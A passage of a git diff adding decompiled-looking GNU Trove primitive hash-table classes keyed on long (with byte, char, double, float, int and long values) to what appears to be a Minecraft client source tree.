+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongByteHash.java b/src/minecraft/gnu/trove/impl/hash/TLongByteHash.java
new file mode 100644
index 0000000..5ab6737
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongByteHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected byte no_entry_value;
+  
+  public TLongByteHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TLongByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongByteHash(int initialCapacity, float loadFactor, long no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongCharHash.java b/src/minecraft/gnu/trove/impl/hash/TLongCharHash.java
new file mode 100644
index 0000000..3c8ccbc
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongCharHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected char no_entry_value;
+  
+  public TLongCharHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TLongCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongCharHash(int initialCapacity, float loadFactor, long no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TLongDoubleHash.java
new file mode 100644
index 0000000..e7dd21e
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongDoubleHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected double no_entry_value;
+  
+  public TLongDoubleHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TLongDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongDoubleHash(int initialCapacity, float loadFactor, long no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TLongFloatHash.java
new file mode 100644
index 0000000..147e0d8
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongFloatHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected float no_entry_value;
+  
+  public TLongFloatHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TLongFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongFloatHash(int initialCapacity, float loadFactor, long no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongHash.java b/src/minecraft/gnu/trove/impl/hash/TLongHash.java
new file mode 100644
index 0000000..b00bd45
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_value;
+  
+  public TLongHash()
+  {
+    no_entry_value = Constants.DEFAULT_LONG_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_LONG_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_LONG_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TLongHash(int initialCapacity, float loadFactor, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long val)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long val)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongIntHash.java b/src/minecraft/gnu/trove/impl/hash/TLongIntHash.java
new file mode 100644
index 0000000..1fdfb68
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongIntHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected int no_entry_value;
+  
+  public TLongIntHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TLongIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TLongIntHash(int initialCapacity, float loadFactor, long no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(long val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(long key)
+  {
+    byte[] states = _states;
+    long[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readLong();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TLongLongHash.java b/src/minecraft/gnu/trove/impl/hash/TLongLongHash.java
new file mode 100644
index 0000000..bdd3f79
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TLongLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TLongLongHash
+  extends TPrimitiveHash
+{
+  public transient long[] _set;
+  protected long no_entry_key;
+  protected long no_entry_value;
+  
+  public TLongLongHash()
+  {
+    no_entry_key = 0L;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TLongLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0L;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0L;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
